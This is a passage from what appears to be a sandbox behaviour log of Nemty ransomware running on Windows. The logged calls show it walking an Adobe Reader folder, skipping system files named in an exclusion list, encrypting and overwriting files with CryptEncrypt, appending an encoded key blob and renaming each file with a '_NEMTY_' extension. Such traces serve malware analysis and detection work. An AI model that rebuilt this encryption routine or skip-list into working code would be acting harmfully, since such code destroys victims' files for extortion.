(lpString1="Checkers.TUR", lpString2="IO.SYS") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="boot.ini") returned 1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="boot.ini") returned 1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="ntuser.dat") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="desktop.ini") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="CONFIG.SYS") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="RECYCLER") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="bootmgr") returned 1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="programdata") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="appdata") returned 1 [0184.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.880] Sleep (dwMilliseconds=0x5) [0184.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d96d30, dwHighDateTime=0x1d561e8)) [0184.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d96d30, dwHighDateTime=0x1d561e8)) [0184.889] GetLastError () returned 0x0 [0184.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.889] GetLastError () returned 0x0 [0184.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.889] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.889] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.889] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.890] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="1eMR+N/x/aI7QtfSzGTQ50Wa9kV5/qdrW98BNYReE2R9yWxWiJd3VKd5TzYaneQl\r\nviED9UZG2lP70OX89pwDR6g//nLNGBffDSIVcIC7JnKLQSY+oHET4zmIX1w4EUVk\r\nv7Nl83Fi3LQ3GcL78ixWtlVOfIAq6h5tJ2dhShVK5TvIlUzFeOY3BIWhrqBsMQR/\r\niF/x7ZykG7Z+Ni7WIFpil0ltEy5IOK5vxeKgWbOQRSIzecrtsXnhMUq4THdx+WkA\r\nnaB3wWPSmvUp5U6zbajrTPfj2z8wulj7dkVLA/fL/jFCElfryvEF9TubZs8qvnAG\r\nQTYQg3y+OqCL1qlnwM0paQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Checkers.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\checkers.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.891] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=120320) returned 1 [0184.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.891] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.891] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.900] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.900] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.900] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=120320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d600 [0184.900] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.900] CloseHandle (hObject=0x2e8) returned 1 [0184.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.901] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Checkers.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\checkers.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Checkers.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\checkers.tur._nemty_kgobjgd_")) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.901] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.TUR", cAlternateFileName="")) returned 1 [0184.901] lstrcmpiW (lpString1="DigSig.TUR", lpString2=".") returned 1 [0184.901] lstrcmpiW (lpString1="DigSig.TUR", lpString2="..") returned 1 [0184.901] lstrcmpiW (lpString1="DigSig.TUR", lpString2="...") returned 1 [0184.901] lstrcmpiW (lpString1="DigSig.TUR", lpString2="windows") returned -1 [0184.901] lstrcmpiW (lpString1="DigSig.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="rsa") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="NTDETECT.COM") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="ntldr") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="MSDOS.SYS") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="IO.SYS") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="boot.ini") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="boot.ini") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="ntuser.dat") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="desktop.ini") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="CONFIG.SYS") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="RECYCLER") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="bootmgr") returned 1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="programdata") returned -1 [0184.902] lstrcmpiW (lpString1="DigSig.TUR", lpString2="appdata") returned 1 [0184.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.TUR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.903] Sleep (dwMilliseconds=0x5) [0184.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21dbce90, dwHighDateTime=0x1d561e8)) [0184.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21dbce90, dwHighDateTime=0x1d561e8)) [0184.905] GetLastError () returned 0x0 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.905] GetLastError () returned 0x0 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.905] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.905] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Uoxcf0Tom5BzdpTpfg51yS3YlAB+vJ6Pkw8HE3/tS/IkgnKmu9nb+OB6z1ASp73B\r\ngSsTJeYIBpdloSvbIcY9/cpUta2ZQdeMTZUqVYilW21UqaYyGLWoBMOJC/D5/7r9\r\nmSvgfzRah1mQrPPLTDo1ivmKaE9YbGgPLqAwKWJam9+PhArrfkNaPaW5YQnZeuiZ\r\ne09eADxL1uQVdo9oDcxcRrHYduzzYYvzXkb0K8LlER8/SwzcPJD2wRkQEtEfrxSf\r\n4RN1L8ypH9LJaWFNzkbBgUP4vVzNA9spFz4GBQ+2xwSIJJtZRL2rGC2XH/rQXrhj\r\neujj1mrCJv8OOadkPU3qdA==\r\n", pcchString=0x653e5dc) returned 1 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DigSig.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\digsig.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.906] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=119296) returned 1 [0184.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.906] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.906] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.914] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.914] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.915] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=119296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d200 [0184.915] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.915] CloseHandle (hObject=0x2e8) returned 1 [0184.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DigSig.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\digsig.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DigSig.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\digsig.tur._nemty_kgobjgd_")) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.916] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 